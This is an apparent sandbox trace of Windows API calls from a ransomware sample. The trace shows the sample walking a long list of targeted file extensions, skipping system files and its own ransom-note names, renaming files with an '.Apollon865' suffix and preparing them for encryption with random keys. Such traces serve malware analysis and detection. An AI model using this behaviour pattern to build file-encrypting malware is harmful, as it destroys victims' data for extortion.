	[0053.260] lstrlenW (lpString="mpd") returned 3
	[0053.261] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0053.261] lstrlenW (lpString="mrg") returned 3
	[0053.261] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0053.261] lstrlenW (lpString="mud") returned 3
	[0053.261] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0053.261] lstrlenW (lpString="mwb") returned 3
	[0053.261] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0053.261] lstrlenW (lpString="myd") returned 3
	[0053.261] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0053.261] lstrlenW (lpString="ndf") returned 3
	[0053.261] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0053.261] lstrlenW (lpString="nnt") returned 3
	[0053.261] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0053.261] lstrlenW (lpString="nrmlib") returned 6
	[0053.261] lstrcmpiW (lpString1="ts.url", lpString2="nrmlib") returned 1
	[0053.261] lstrlenW (lpString="ns2") returned 3
	[0053.261] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0053.261] lstrlenW (lpString="ns3") returned 3
	[0053.261] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0053.261] lstrlenW (lpString="ns4") returned 3
	[0053.261] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0053.261] lstrlenW (lpString="nsf") returned 3
	[0053.261] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0053.261] lstrlenW (lpString="nv") returned 2
	[0053.261] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0053.261] lstrlenW (lpString="nv2") returned 3
	[0053.261] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0053.261] lstrlenW (lpString="nwdb") returned 4
	[0053.261] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0053.261] lstrlenW (lpString="nyf") returned 3
	[0053.261] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0053.261] lstrlenW (lpString="odb") returned 3
	[0053.261] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.261] lstrlenW (lpString="odb") returned 3
	[0053.261] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.262] lstrlenW (lpString="oqy") returned 3
	[0053.262] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0053.262] lstrlenW (lpString="ora") returned 3
	[0053.262] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0053.262] lstrlenW (lpString="orx") returned 3
	[0053.262] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0053.262] lstrlenW (lpString="owc") returned 3
	[0053.262] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0053.262] lstrlenW (lpString="p96") returned 3
	[0053.262] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0053.262] lstrlenW (lpString="p97") returned 3
	[0053.262] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0053.262] lstrlenW (lpString="pan") returned 3
	[0053.262] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0053.262] lstrlenW (lpString="pdb") returned 3
	[0053.262] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0053.262] lstrlenW (lpString="pdm") returned 3
	[0053.262] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0053.262] lstrlenW (lpString="pnz") returned 3
	[0053.262] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0053.262] lstrlenW (lpString="qry") returned 3
	[0053.262] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0053.262] lstrlenW (lpString="qvd") returned 3
	[0053.262] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0053.262] lstrlenW (lpString="rbf") returned 3
	[0053.262] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0053.262] lstrlenW (lpString="rctd") returned 4
	[0053.262] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0053.262] lstrlenW (lpString="rod") returned 3
	[0053.262] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0053.262] lstrlenW (lpString="rodx") returned 4
	[0053.262] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0053.262] lstrlenW (lpString="rpd") returned 3
	[0053.262] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0053.263] lstrlenW (lpString="rsd") returned 3
	[0053.263] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0053.263] lstrlenW (lpString="sas7bdat") returned 8
	[0053.263] lstrcmpiW (lpString1="orts.url", lpString2="sas7bdat") returned -1
	[0053.263] lstrlenW (lpString="sbf") returned 3
	[0053.263] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0053.263] lstrlenW (lpString="scx") returned 3
	[0053.263] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0053.263] lstrlenW (lpString="sdb") returned 3
	[0053.263] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0053.263] lstrlenW (lpString="sdc") returned 3
	[0053.263] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0053.263] lstrlenW (lpString="sdf") returned 3
	[0053.263] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0053.263] lstrlenW (lpString="sis") returned 3
	[0053.263] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0053.263] lstrlenW (lpString="spq") returned 3
	[0053.263] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0053.263] lstrlenW (lpString="te") returned 2
	[0053.263] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0053.263] lstrlenW (lpString="teacher") returned 7
	[0053.263] lstrcmpiW (lpString1="rts.url", lpString2="teacher") returned -1
	[0053.263] lstrlenW (lpString="tmd") returned 3
	[0053.263] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0053.263] lstrlenW (lpString="tps") returned 3
	[0053.263] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0053.263] lstrlenW (lpString="trc") returned 3
	[0053.263] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.263] lstrlenW (lpString="trc") returned 3
	[0053.263] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.263] lstrlenW (lpString="trm") returned 3
	[0053.263] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0053.263] lstrlenW (lpString="udb") returned 3
	[0053.263] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0053.263] lstrlenW (lpString="udl") returned 3
	[0053.264] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0053.264] lstrlenW (lpString="usr") returned 3
	[0053.264] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0053.264] lstrlenW (lpString="v12") returned 3
	[0053.264] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0053.264] lstrlenW (lpString="vis") returned 3
	[0053.264] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0053.264] lstrlenW (lpString="vpd") returned 3
	[0053.264] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0053.264] lstrlenW (lpString="vvv") returned 3
	[0053.264] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0053.264] lstrlenW (lpString="wdb") returned 3
	[0053.264] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0053.264] lstrlenW (lpString="wmdb") returned 4
	[0053.264] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0053.264] lstrlenW (lpString="wrk") returned 3
	[0053.264] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0053.264] lstrlenW (lpString="xdb") returned 3
	[0053.264] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0053.264] lstrlenW (lpString="xld") returned 3
	[0053.264] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0053.264] lstrlenW (lpString="xmlff") returned 5
	[0053.264] lstrcmpiW (lpString1="s.url", lpString2="xmlff") returned -1
	[0053.264] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url.Apollon865") returned 65
	[0053.264] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url.apollon865"), dwFlags=0x1) returned 1
	[0053.265] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.265] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0053.265] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.265] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.265] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.265] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0053.266] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.266] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.266] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0xc0
	[0053.268] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0053.269] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0053.269] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.269] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.270] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.270] CloseHandle (hObject=0xc0) returned 1
	[0053.270] CloseHandle (hObject=0x118) returned 1
	[0053.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2="Apollon865.txt.exe") returned 1
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2=".") returned 1
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2="..") returned 1
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2="windows") returned -1
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2="bootmgr") returned 1
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2="temp") returned -1
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2="pagefile.sys") returned -1
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2="boot") returned 1
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2="ids.txt") returned 1
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2="ntuser.dat") returned -1
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2="perflogs") returned -1
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2="MSBuild") returned 1
	[0053.271] lstrlenW (lpString="MSN.url") returned 7
	[0053.271] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url") returned 54
	[0053.271] lstrcpyW (in: lpString1=0x119e658, lpString2="MSN.url" | out: lpString1="MSN.url") returned="MSN.url"
	[0053.271] lstrlenW (lpString="MSN.url") returned 7
	[0053.271] lstrlenW (lpString="Apollon865") returned 10
	[0053.271] lstrlenW (lpString=".dll") returned 4
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2=".dll") returned 1
	[0053.271] lstrlenW (lpString=".lnk") returned 4
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2=".lnk") returned 1
	[0053.271] lstrlenW (lpString=".ini") returned 4
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2=".ini") returned 1
	[0053.271] lstrlenW (lpString=".sys") returned 4
	[0053.271] lstrcmpiW (lpString1="MSN.url", lpString2=".sys") returned 1
	[0053.271] lstrlenW (lpString="MSN.url") returned 7
	[0053.271] lstrlenW (lpString="bak") returned 3
	[0053.271] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0053.271] lstrlenW (lpString="ba_") returned 3
	[0053.271] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0053.271] lstrlenW (lpString="dbb") returned 3
	[0053.271] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0053.272] lstrlenW (lpString="vmdk") returned 4
	[0053.272] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0053.272] lstrlenW (lpString="rar") returned 3
	[0053.272] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0053.272] lstrlenW (lpString="zip") returned 3
	[0053.272] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0053.272] lstrlenW (lpString="tgz") returned 3
	[0053.272] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0053.272] lstrlenW (lpString="vbox") returned 4
	[0053.272] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0053.272] lstrlenW (lpString="vdi") returned 3
	[0053.272] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0053.272] lstrlenW (lpString="vhd") returned 3
	[0053.272] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0053.272] lstrlenW (lpString="vhdx") returned 4
	[0053.272] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0053.272] lstrlenW (lpString="avhd") returned 4
	[0053.272] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0053.272] lstrlenW (lpString="db") returned 2
	[0053.272] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0053.272] lstrlenW (lpString="db2") returned 3
	[0053.272] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0053.272] lstrlenW (lpString="db3") returned 3
	[0053.272] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0053.272] lstrlenW (lpString="dbf") returned 3
	[0053.272] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0053.272] lstrlenW (lpString="mdf") returned 3
	[0053.272] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0053.272] lstrlenW (lpString="mdb") returned 3
	[0053.272] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0053.272] lstrlenW (lpString="sql") returned 3
	[0053.272] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0053.272] lstrlenW (lpString="sqlite") returned 6
	[0053.272] lstrcmpiW (lpString1="SN.url", lpString2="sqlite") returned -1
	[0053.272] lstrlenW (lpString="sqlite3") returned 7
	[0053.273] lstrlenW (lpString="sqlitedb") returned 8
	[0053.273] lstrlenW (lpString="xml") returned 3
	[0053.273] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0053.273] lstrlenW (lpString="$er") returned 3
	[0053.273] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0053.273] lstrlenW (lpString="4dd") returned 3
	[0053.273] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0053.273] lstrlenW (lpString="4dl") returned 3
	[0053.273] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0053.273] lstrlenW (lpString="^^^") returned 3
	[0053.273] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0053.273] lstrlenW (lpString="abs") returned 3
	[0053.273] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0053.273] lstrlenW (lpString="abx") returned 3
	[0053.273] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0053.273] lstrlenW (lpString="accdb") returned 5
	[0053.273] lstrcmpiW (lpString1="N.url", lpString2="accdb") returned 1
	[0053.273] lstrlenW (lpString="accdc") returned 5
	[0053.273] lstrcmpiW (lpString1="N.url", lpString2="accdc") returned 1
	[0053.273] lstrlenW (lpString="accde") returned 5
	[0053.273] lstrcmpiW (lpString1="N.url", lpString2="accde") returned 1
	[0053.273] lstrlenW (lpString="accdr") returned 5
	[0053.273] lstrcmpiW (lpString1="N.url", lpString2="accdr") returned 1
	[0053.273] lstrlenW (lpString="accdt") returned 5
	[0053.273] lstrcmpiW (lpString1="N.url", lpString2="accdt") returned 1
	[0053.273] lstrlenW (lpString="accdw") returned 5
	[0053.273] lstrcmpiW (lpString1="N.url", lpString2="accdw") returned 1
	[0053.273] lstrlenW (lpString="accft") returned 5
	[0053.273] lstrcmpiW (lpString1="N.url", lpString2="accft") returned 1
	[0053.273] lstrlenW (lpString="adb") returned 3
	[0053.273] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.273] lstrlenW (lpString="adb") returned 3
	[0053.273] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.273] lstrlenW (lpString="ade") returned 3
	[0053.273] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0053.274] lstrlenW (lpString="adf") returned 3
	[0053.274] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0053.274] lstrlenW (lpString="adn") returned 3
	[0053.274] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0053.274] lstrlenW (lpString="adp") returned 3
	[0053.274] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0053.274] lstrlenW (lpString="alf") returned 3
	[0053.274] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0053.274] lstrlenW (lpString="ask") returned 3
	[0053.274] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0053.274] lstrlenW (lpString="btr") returned 3
	[0053.274] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0053.274] lstrlenW (lpString="cat") returned 3
	[0053.274] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0053.274] lstrlenW (lpString="cdb") returned 3
	[0053.274] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0053.274] lstrlenW (lpString="ckp") returned 3
	[0053.274] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0053.274] lstrlenW (lpString="cma") returned 3
	[0053.274] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0053.274] lstrlenW (lpString="cpd") returned 3
	[0053.274] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0053.274] lstrlenW (lpString="dacpac") returned 6
	[0053.274] lstrcmpiW (lpString1="SN.url", lpString2="dacpac") returned 1
	[0053.274] lstrlenW (lpString="dad") returned 3
	[0053.274] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0053.274] lstrlenW (lpString="dadiagrams") returned 10
	[0053.274] lstrlenW (lpString="daschema") returned 8
	[0053.274] lstrlenW (lpString="db-journal") returned 10
	[0053.274] lstrlenW (lpString="db-shm") returned 6
	[0053.274] lstrcmpiW (lpString1="SN.url", lpString2="db-shm") returned 1
	[0053.274] lstrlenW (lpString="db-wal") returned 6
	[0053.275] lstrcmpiW (lpString1="SN.url", lpString2="db-wal") returned 1
	[0053.275] lstrlenW (lpString="dbc") returned 3
	[0053.275] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0053.275] lstrlenW (lpString="dbs") returned 3
	[0053.275] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0053.275] lstrlenW (lpString="dbt") returned 3
	[0053.275] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0053.275] lstrlenW (lpString="dbv") returned 3
	[0053.275] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0053.275] lstrlenW (lpString="dbx") returned 3
	[0053.275] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0053.275] lstrlenW (lpString="dcb") returned 3
	[0053.275] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0053.275] lstrlenW (lpString="dct") returned 3
	[0053.275] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0053.275] lstrlenW (lpString="dcx") returned 3
	[0053.275] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0053.275] lstrlenW (lpString="ddl") returned 3
	[0053.275] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0053.275] lstrlenW (lpString="dlis") returned 4
	[0053.275] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0053.275] lstrlenW (lpString="dp1") returned 3
	[0053.275] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0053.275] lstrlenW (lpString="dqy") returned 3
	[0053.275] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0053.275] lstrlenW (lpString="dsk") returned 3
	[0053.275] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0053.275] lstrlenW (lpString="dsn") returned 3
	[0053.275] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0053.275] lstrlenW (lpString="dtsx") returned 4
	[0053.275] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0053.276] lstrlenW (lpString="dxl") returned 3
	[0053.276] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0053.276] lstrlenW (lpString="eco") returned 3
	[0053.276] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0053.276] lstrlenW (lpString="ecx") returned 3
	[0053.276] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0053.276] lstrlenW (lpString="edb") returned 3
	[0053.276] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0053.276] lstrlenW (lpString="epim") returned 4
	[0053.276] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0053.276] lstrlenW (lpString="fcd") returned 3
	[0053.276] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0053.276] lstrlenW (lpString="fdb") returned 3
	[0053.276] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0053.276] lstrlenW (lpString="fic") returned 3
	[0053.276] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0053.276] lstrlenW (lpString="flexolibrary") returned 12
	[0053.276] lstrlenW (lpString="fm5") returned 3
	[0053.276] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0053.276] lstrlenW (lpString="fmp") returned 3
	[0053.276] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0053.276] lstrlenW (lpString="fmp12") returned 5
	[0053.276] lstrcmpiW (lpString1="N.url", lpString2="fmp12") returned 1
	[0053.276] lstrlenW (lpString="fmpsl") returned 5
	[0053.276] lstrcmpiW (lpString1="N.url", lpString2="fmpsl") returned 1
	[0053.276] lstrlenW (lpString="fol") returned 3
	[0053.276] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0053.276] lstrlenW (lpString="fp3") returned 3
	[0053.276] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0053.276] lstrlenW (lpString="fp4") returned 3
	[0053.276] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0053.276] lstrlenW (lpString="fp5") returned 3
	[0053.276] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0053.276] lstrlenW (lpString="fp7") returned 3
	[0053.276] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0053.277] lstrlenW (lpString="fpt") returned 3
	[0053.277] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0053.277] lstrlenW (lpString="frm") returned 3
	[0053.277] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0053.277] lstrlenW (lpString="gdb") returned 3
	[0053.277] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.277] lstrlenW (lpString="gdb") returned 3
	[0053.277] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.277] lstrlenW (lpString="grdb") returned 4
	[0053.277] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0053.277] lstrlenW (lpString="gwi") returned 3
	[0053.277] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0053.277] lstrlenW (lpString="hdb") returned 3
	[0053.277] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0053.277] lstrlenW (lpString="his") returned 3
	[0053.277] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0053.277] lstrlenW (lpString="ib") returned 2
	[0053.277] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0053.277] lstrlenW (lpString="idb") returned 3
	[0053.277] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0053.277] lstrlenW (lpString="ihx") returned 3
	[0053.277] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0053.277] lstrlenW (lpString="itdb") returned 4
	[0053.277] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0053.277] lstrlenW (lpString="itw") returned 3
	[0053.277] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0053.277] lstrlenW (lpString="jet") returned 3
	[0053.277] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0053.277] lstrlenW (lpString="jtx") returned 3
	[0053.277] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0053.277] lstrlenW (lpString="kdb") returned 3
	[0053.277] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0053.277] lstrlenW (lpString="kexi") returned 4
	[0053.277] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0053.277] lstrlenW (lpString="kexic") returned 5
	[0053.278] lstrcmpiW (lpString1="N.url", lpString2="kexic") returned 1
	[0053.278] lstrlenW (lpString="kexis") returned 5
	[0053.278] lstrcmpiW (lpString1="N.url", lpString2="kexis") returned 1
	[0053.278] lstrlenW (lpString="lgc") returned 3
	[0053.278] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0053.278] lstrlenW (lpString="lwx") returned 3
	[0053.278] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0053.278] lstrlenW (lpString="maf") returned 3
	[0053.278] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0053.278] lstrlenW (lpString="maq") returned 3
	[0053.278] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0053.278] lstrlenW (lpString="mar") returned 3
	[0053.278] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0053.278] lstrlenW (lpString="marshal") returned 7
	[0053.278] lstrlenW (lpString="mas") returned 3
	[0053.278] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0053.278] lstrlenW (lpString="mav") returned 3
	[0053.278] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0053.278] lstrlenW (lpString="maw") returned 3
	[0053.278] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
